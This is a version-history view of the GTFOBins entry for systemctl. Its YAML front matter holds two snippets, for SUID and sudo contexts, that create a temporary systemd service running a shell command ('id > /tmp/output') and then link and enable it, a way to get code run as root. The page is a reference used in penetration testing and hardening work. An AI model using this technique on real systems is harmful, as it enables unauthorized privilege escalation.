GTFOBins.github.io/_gtfobins/systemctl.md

24 lines
565 B
Markdown
Raw Normal View History

2019-01-29 14:12:29 +01:00
---
functions:
suid:
- code: |
TF=$(mktemp).service
echo '[Service]
2019-01-29 14:25:16 +01:00
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
2019-01-29 14:12:29 +01:00
./systemctl link $TF
./systemctl enable --now $TF
sudo:
- code: |
TF=$(mktemp).service
echo '[Service]
2019-01-29 14:25:16 +01:00
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
2019-01-29 14:12:29 +01:00
sudo systemctl link $TF
sudo systemctl enable --now $TF
---